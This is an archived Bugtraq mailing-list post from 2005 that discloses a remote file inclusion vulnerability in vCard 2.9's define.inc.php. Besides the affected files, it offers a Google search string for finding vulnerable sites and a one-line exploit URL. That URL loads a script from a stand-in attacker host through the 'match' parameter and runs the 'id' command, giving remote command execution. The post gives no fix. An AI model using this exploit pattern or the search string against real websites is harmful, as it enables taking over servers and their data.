[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Remote File Inclusion in vCard :)
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Remote File Inclusion in vCard :)
- From: X@xxxxxxxxxxxxxxxxx, "[AT]"@securityfocus.com, Hotmail@xxxxxxxxxxxxxxxxx, "[D0T].CoM"@securityfocus.com
- Date: 25 Oct 2005 22:35:07 -0000
Remote File Inclusion in :-
--------------------------
vCard
Date :-
------
26/10/2005
version :-
---------
2.9
The bug reside in :-
-------------------
define.inc.php
And error in :-
--------------
online.inc.php
search google :-
---------------
powered by vCard 2.9 & allinurl:vCard
Exploit :-
---------
http://www.host.com/vCard/admin/define.inc.php?match=http://www.host_evil.com/cmd.gif?&cmd=id
Discovery by [ x ]